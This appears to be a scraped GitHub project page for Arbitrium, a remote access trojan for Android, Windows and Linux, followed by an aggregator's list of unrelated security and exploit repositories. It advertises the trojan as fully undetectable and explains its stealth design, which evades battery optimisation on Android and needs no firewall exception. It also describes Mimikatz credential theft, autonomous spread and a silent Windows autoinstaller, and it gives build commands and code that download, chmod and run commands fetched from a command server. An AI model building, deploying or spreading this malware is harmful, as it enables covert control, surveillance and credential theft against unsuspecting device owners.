Arbitrium is a cross-platform, fully undetectable remote access trojan, to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding rules

Overview

About:

Arbitrium is a cross-platform is a remote access trojan (RAT), Fully UnDetectable (FUD), It allows you to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding. It gives access to the local networks, you can use the targets as a HTTP proxy and access Router, discover local IPs and scan their ports. Includes modules like Mimikatz, new modules can easily be added. In addition, if Arbitrium is used with a DNS spoofing software is can spread autonomously between devices (#AutoSpread). Arbitrium is a project of multiple parts, the parts were built using Java, JS, C, Python, Cordova and VueJS.

Demo: https://youtu.be/7KlPPND2b0g

Demo video

Features:

  • FUD

The client uses simple tools which makes it completely undetectable, the trojan based on netcat mainly pipe TCP paquets to run the server's commands.

  • Firewall

Arbitrium doesn't require adding an exception to the firewall, or a port forwarding rule. The server is an API with endpoints that receives tasks for a specific target and others that the trojan periodically request to get the new instructions, the instructions can be a JavaScript file (the Android app is made using Cordova) or a Shell file to run in the terminal/CMD. Once the server receives a task for a device, the former schedule the task then it opens a child process where it waits for the trojan's response by listening to a dedicated ephemeral port. Therefore, the trojan doesn't need to listen to any port.

  • Battery optimization / StealthMode

Unlike with Stock Android, customizations like MIUI by Xiaomi, EMUI by Huawei or Samsung's Android Pie ignore the permissions/exceptions given to an app by the user. So if you try to run an Android's trojan in the background, the moment the app start running frequent or heavy (in some cases even lightweight) tasks (ex: sending http requests periodically) it will be killed no matter what permissions the user grants, ths OS completely ignores the current settings, dontkillmyapp.com is an known website dedicated for this particular issue.

The aforementioned issue was quite annoying while working on this project, after awhile I found that building a lightweight binary that keeps running the assigned tasks in the background while the MainActivity stand still just after launching the binary apears to bypass most the restrictions and actually even improve the performance of the App.

MainActivity receives a JS file from the server and uses ThreadPoolExecutor to initiate the binary without hanging for it to exit (More on this StealthMode/BatteryBypass).

  • Web interface

There is also a control panel, it's not a requirement but an extension, it's a simple VueJS webapp, a UI you can use to control the targets instead of directely sending requests to the API. The webapp is available here: Arbitrium WebApp

Requirements

  1. Android's client
Java ver ...
Cordova
Android SDK & NDK
  1. Windows/Linux client
Python3.6 (or newer)
PyInquirer
Winrar (Windows only)

Build

⚠️ use setAPI_FQDN.sh first to set the server domain/IP in all files

Clone repo:

git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive

  1. Android
$ cd ArbitriumClients/AndroidApp/ClientApp/
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build

The binaries inside /libs are stripped, so it recommended to use these if you're not debuging.

  1. Windows
$ cd ArbitriumClients\WindowsApp
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe  

Components

  1. Server API

⚠️ The binaries built for Android should be put inside /assets (rename them to binary_{cpuabi}) and the APK will download them, but if you wish to put them inside the APK just make sure to extract them inside the App data folder /data/data/package_name or create a symbolic link inside it window.MyOrangePlugin.exec("/system/bin/ln -s ...

$ pip install flask flask_cors && ./runserver.sh # Python2.7

	├── runserver.sh
	├── main.py
	├── reverse_http.py
	├── initProxy.py
	│
	├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
	│   ├── runFrame_arm64-v8a
	│   ├── toolbox_arm64-v8a
	│   ├── ... (x86, x86_64, armeabi-v7a)
	│
	│
	├── JS_scripts
	│   ├── checkupdate.js
	│   ├── init.js
	│   ├── runshell.js
	│   └── StealthMode.js
	│
	├── misc
	│
	├── modules
	│   ├── discover.py
	│   ├── mimikatz.py
	│   ├── ports.py
	│   └── runCMD.py
	│
	└── threads

Endpoints

⚠️ The response of the API may differ depending on the platform of the device from which the trojan operate. the following part explores mainly the case of Android, because it's the most sophisticated due to the OS's restrictions.

  • [GET] /checkupdate.js

When the client sends its first request to the endpoint /checkupdate.js, the server create a genShell's object, which sets a unique local port for that device self.lport = self.setPort() and a thread id self.threaduid = random.randint in addition to other attributes. Then returns the appropriate JavaScript code (depending on the CPU/ABI) that will contain instructions to download, chmod and execute (main thread, or poolexec) some resources. As for the following requests it returns a JS code that will execute the pending tasks if there are any.

runCMD is a method of genShell that write the shell script we want the trojan to run into a file inside /assets to be downloaded later by the client, then uses netcat to listen for the response and pipe it into a file inside /threads

Example: Let say you want to use the target as a HTTP proxy, the API formulate the request as the following cmd:

echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n

then save it into assets/runsh_{uid_task}.sh, then depending whether the request came from StealthMode/BatteryBypass or not, /checkupdate.js gets the trojan to download the shell file and run it.

>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
  • [GET] /addtask

Using the appropriate token the admin can get a device to run a command via this endpoint, the server will describe this command as pending which will impact the next response of /checkupdate.js to that device. Then it'll return a random generated id for this task.

  • [GET] /pingtask

The combination of the task id generated by /addtask and the aforementioned thread id threaduid makes the name of the file inside /threads where the output of the command is saved. Once this endpoint is requested it checks whether /threads/{threaduid}x{taskid} exists, if so the server returns the content of the file otherwise it return 0.

  • [GET] /runproxy & /pushproxy

This will run reverse_http.py in a separate screen, then returns a IP:PORT (HTTP proxy), that will allow the admin to pivote HTTP requests through the trojan device. For instance, if the Admin sets these info in the browser settings and try to open router port (Ex: http://192.16...), the browser will open the router web interface as if the admin was a part the target LAN.

  1. Client/Trojan (Android): The app is build using Cordova for its simplicity and support for cross-platform developpement. This app relays of two main parts

    1. netbolt-orange-plugin:

      this is a cordova plugin I made, it contains few functions that we can call from index.html, scripts downloaded via /checkupdate.js mainly use these methods to run the assigned task

         + exec() : execute shell cmd then returns the cmd output, it runs on the UI thread

         + poolexec() : same as 'exec()', but this one uses the ThreadPoolExecutor so the App can run a cmd without blocking the main thread, when the output is ready, it sent via a callback with the exit status

         + download() : this one is for downloading whatever resources the API or the admin may want or need to execute a task

    Example: The trojan at first requests /checkupdate.js, let assumes this is an Android phone and we want to initiate the StealthMode/BatteryBypass to avoid getting killed (Battery optimizations ...), the API then responde with something like:

    function sfunc1(){
        window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
            sfunc2(...);
        });
    }
    function sfunc2(...){
        window.MyOrangePlugin.exec("chmod ... ", function(res){
        	sfunc3(...);
        });
    }
    function sfunc3(...){
        window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
        	...
        });
    }

    The app also uses a slightly customized version of Cordova background mode plugin.

    1. StealthMode:

         + runFrame.c : This is a simple C program that sends HTTP requests every few seconds to the API through a socket, saves the response to a shell file then makes a system call to run it.

         + toolbox.c : This is a standalone netcat

    The resulting binaries are statically linked to ensure stability and path independance. The importance of using runFrame instead of just running a JS loop in index.html doesn't only stop at the Battery issues explained previously but also for performance reasons. The app with this mode uses much less resources and is more reliable.

    The frequency of the requests is by default set at 5s, but it can be manipulated by the API (the server automatically makes runFrame slow down when there are no scheduled cmds by giving it sleep 30 as a response), therefore, when the admin is controling a device or using it as a proxy a number of tasks will be schedules and the delay between each won't be significant, otherwise we don't want the client to keep sending frequent requests which would make it noticeable and resource consuming.

    ⚠️ the API recognize whether the requests are coming from this mode from the User-Agent: JustKidding, so the responses to /checkupdate.js be compatible. Also the HTTP requests are only made while the phone is connected to Wlan, and there are two main reasons for that, the first is data mobile consumption which the OS will stop, the second is the autonomous spread capability (#AutoSpread)

    // void bzero(void *s, size_t n);
    #define bzero(s, n) memset((s), 0, (n))
    ...
    strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n");
    char *routing = "ip route | grep wlan";
    ...
    while (1){
    	routingSTAT = system(routing);
    	// grep exit status will only equal 0 if a wlan interface was listed
    	if (routingSTAT==0){
    		fd = socket_connect(argv[1], atoi(argv[2])); 
    		write(fd, reque, strlen(reque));
    		bzero(buffer, BUFFER_SIZE);
    		...
    		}
  2. Client/Trojan (Windows/Linux): Unlike in the case of android here a simple python script will do. In addition, Windows version is equiped with a VBA script and SFX to make a silent autoinstaller, the trojan will be just a standalone executable that runs in the background after extracting its content inside %TEMP%.

Screenshots

  1. HTTP proxy: proxy.png
  2. Powershell: powershell.png
  3. Port scanner: portscan.png
Owner
Ayoub
CyberSecurity and Machine learning are my passion
Ayoub
集成crawlergo、xray、dirsearch、nmap等工具的src漏洞挖掘工具,使用docker封装运行;

tools下有几个工具,所以项目文件比较大,如果下载总是中断的话建议拆开下载各个项目然后直接拷贝dockefile和recon.py即可 0x01 hscan介绍 hscan是什么 hscan是一款旨在使用一条命令替代渗透前的多条扫描命令,通过集成crawlergo扫描和xray扫描、dirsear

102 Jan 04, 2023
telegram bug that discloses user's hidden phone number (still unpatched) (exploit included)

CVE-2019-15514 Type: Information Disclosure Affected Users, Versions, Devices: All Telegram Users Still not fixed/unpatched. brute.py is available exp

Gray Programmerz 66 Dec 08, 2022
PwdGen is a Python Tkinter tool for generating secure 16 digit passwords.

PwdGen ( Password Generator ) is a Python Tkinter tool for generating secure 16 digit passwords. Installation Simply install requirements pip install

zJairO 7 Jul 14, 2022
Early days of an Asset Discovery tool.

Please star this project! Written in Python Report Bug . Request Feature DISCLAIMER This project is in its early days, everything you see here is almo

grag1337 3 Dec 20, 2022
Obfuscate ip address using different encodings

ipobfuscator How it works? Single ip address can be written in multiple ways. The most popular way is to represent ip as 4 octets separated with dots.

Piotr Warmke 1 Nov 02, 2021
Execution After Redirect (EAR) / Long Response Redirection Vulnerability Scanner written in python3

Execution After Redirect (EAR) / Long Response Redirection Vulnerability Scanner written in python3, It Fuzzes All URLs of target website & then scan them for EAR

Pushpender Singh 9 Dec 12, 2022
Tenssens framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources.

Tenssens framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources.

Md. Nur habib 31 Oct 21, 2022
A bare-bones POC container runner in python

pybox A proof-of-concept bare-bones container written in 50 lines of python code. Provides namespace isolation and resource limit control Usage Insta

Anirudh Haritas Murali 5 Jun 03, 2021
A honey token manager and alert system for AWS.

SpaceSiren SpaceSiren is a honey token manager and alert system for AWS. With this fully serverless application, you can create and manage honey token

287 Nov 09, 2022
🐎🖥《赛马娘》(ウマ娘: Pretty Derby)辅助脚本

auto-derby 自动化养马 育成结果 Nurturing result 功能 支持客户端 DMM (前台) 实验性 安卓 ADB 连接(后台)开发基于 1080x1920 分辨率 团队赛 (Team race) 有胜利确定奖励时吃帕菲 日常赛 (Daily race) PvP 活动赛 (Cha

NateScarlet 376 Jan 01, 2023
Python HDFS client

Python HDFS client Because the world needs yet another way to talk to HDFS from Python. Usage This library provides a Python client for WebHDFS. NameN

Jing Wang 82 Dec 28, 2022
Cookiecutter for creating open source Python packages

Cookiecutter for rapidly developing new open source Python packages. Best practices with all the modern bells and whistles included.

Wolt 177 Dec 22, 2022
labsecurity is a framework and its use is for ethical hacking and computer security

labsecurity labsecurity is a framework and its use is for ethical hacking and computer security. Warning This tool is only for educational purpose. If

Dylan Meca 16 Dec 08, 2022
adb - A tool that allows you to search for vulnerable android devices across the world and exploit them.

adb - An exploitation tool for android devices. A tool that allows you to search for vulnerable android devices across the world and exploit them. Fea

136 Jan 02, 2023
Hammer-DDos - Hammer DDos With Python

Hammer-DDos $ apt update $ apt upgrade $ apt install python $ apt install git $

1 Jan 24, 2022
Code to do NF in HDR,HEVC,HPL,MPL

Netflix-DL 6.0 |HDR-HEVC-MPL-HPL NOT Working| ! Buy working netflix cdm from [em

4 Dec 28, 2021
Phishing-Crack tools to punish friends

Phishing-Crack Phishing Tool Version 1.0.0 Created By temirovazat A Phishing Tool With PHP and Python3 Features Fake Instagram Phishing Page Fake Face

3 Oct 04, 2022
Password List Creator Simple !

Password List Creator Simple !

MR.D3F417 4 Jan 27, 2022
Auerswald COMpact 8.0B Backdoors exploit

CVE-2021-40859 Auerswald COMpact 8.0B Backdoors exploit About Backdoors were discovered in Auerswald COMpact 5500R 7.8A and 8.0B devices, that allow a

Ashish Kunwar 1 Nov 24, 2022
A simple password generator using Python Tkinter.

Password-Generator-using-Python A simple password generator that generates password for you. User can Copy the password to Clipboard. Project made usi

Prashant Agheda 1 Nov 02, 2022